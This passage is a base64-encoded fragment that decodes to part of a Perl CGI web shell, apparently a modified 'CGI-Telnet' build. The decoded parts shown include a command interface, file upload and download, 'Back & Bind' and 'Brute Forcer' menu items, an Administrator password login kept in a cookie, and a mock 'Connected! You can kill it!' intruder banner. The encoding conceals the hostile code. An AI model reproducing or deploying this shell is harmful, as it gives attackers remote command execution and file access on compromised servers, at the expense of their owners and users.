S5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCglpZihmPT0nZicpDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mj4NCgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4NCgk8L3RkPg0KDQoJPHRkPg0KDQoJCTxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPiRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9PC9mb250Pg0KCTwvdGQ+DQoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0iI2JiMDAwMCI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9IiNiYjAwMDAiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+DQoJPC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjMiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5HVUk8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwNCjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIjIj5IZWxwPC9hPg0KDQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KDQoJcHJpbnQgPDxFTkQ7DQo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7DQogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7DQogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLg0KICAgIHJldHVybjsNCiAgfQ0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50Ow0KICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsNCiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7DQogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOw0KICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0Ow0KICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7DQogIHRoaXMuY3VycmVudFRleHQgPSAiIjsNCiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsNCiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOw0KICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOw0KICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICB0aGlzLnRhZ0J1ZmZlciA9ICIiOw0KICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsNCn0NClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7DQpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7DQpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgew0KICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOw0KfQ0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7DQogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOw0KICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgew0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuDQogICAgcmV0dXJuOw0KICB9DQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsNCi8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4NCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7DQogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsNCiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsNCiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSB7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgIH0NCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsNCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7DQogICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsNCiAgfSBlbHNlIHsNCgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQoJdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsNCiAgfQ0KfQ0KPC9zY3JpcHQ+DQo8L3ByZT4NCg0KPGZvbnQgc3R5bGU9ImZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsiPkNvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhIDwvZm9udD48YnI+PGJyPg0KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+DQo8dGJvZHk+PHRyPg0KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJveC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBDaGVja2luZyBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPg0KDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KDQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25uZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+DQo8L3RyPg0KPC90Ym9keT48L3RhYmxlPg0KPGJyPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsNClR5cGluZ1RleHQucnVuQWxsKCk7DQoNCjwvc2NyaXB0Pg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7DQoJbXkgJHRleHQgPSBzaGlmdDsNCgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsNCgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7DQoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii4kcGF0aC4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NCg0KUGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NClBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQ0Kew0KCW15ICRkaXI9ICI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImNvbW1hbmQiKS4iPC9zcGFuPiI7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIzY2ZmY2Nic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0